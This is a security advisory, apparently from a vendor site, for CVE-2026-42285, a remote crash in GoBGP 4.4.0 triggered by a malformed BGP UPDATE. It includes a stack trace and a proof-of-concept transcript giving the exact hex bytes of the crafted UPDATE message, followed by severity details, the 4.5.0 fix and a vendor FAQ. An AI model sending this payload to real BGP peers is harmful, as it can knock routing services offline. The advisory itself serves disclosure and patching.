CVE-2026-42285

Remote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing
An unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.

Details

The vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.

Triggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., "attribute value length is short"), GoBGP logs a warning: the received Update message was treated as withdraw.

Code Path:

The message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.

Due to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.

The execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.

The Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.

Log Snippet:

{"time":"2026-04-21T12:43:10.009107962+08:00","level":"WARN","msg":"the received Update message was treated as withdraw","Topic":"Peer","Key":"192.168.31.195","State":"BGP_FSM_ESTABLISHED","Error":"attribute value length is short"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]

goroutine 52 [running]:
github.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})
        /home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8
github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)
        /home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)
        /home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)
        /home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25
github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)
        /home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82
created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37
        /home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5

PoC

[SEND] OPEN
       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00
[RECV] Type: 1 | Length: 77
       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02
[+] Received OPEN from peer
[SEND] KEEPALIVE
       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[RECV] Type: 4 | Length: 19
       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[+] BGP Session Established
[SEND] Crafted UPDATE
       Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00
[*] Waiting for peer reaction...
[+] Done.

Remote Denial of Service (DoS) in GoBGP v4.4.0

The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.

CVE-2026-42285 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-42285? CVE-2026-42285 is a high-severity null pointer dereference vulnerability in github.com/osrg/gobgp/v4 (go), affecting versions = 4.4.0. It is fixed in 4.5.0. The application dereferences a null pointer, causing a crash.
2. How severe is CVE-2026-42285? CVE-2026-42285 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/osrg/gobgp/v4 are affected by CVE-2026-42285? github.com/osrg/gobgp/v4 (go) versions = 4.4.0 is affected.
4. Is there a fix for CVE-2026-42285? Yes. CVE-2026-42285 is fixed in 4.5.0. Upgrade to this version or later.
5. Is CVE-2026-42285 exploitable, and should I be worried? Whether CVE-2026-42285 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42285 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42285? Upgrade github.com/osrg/gobgp/v4 to 4.5.0 or later.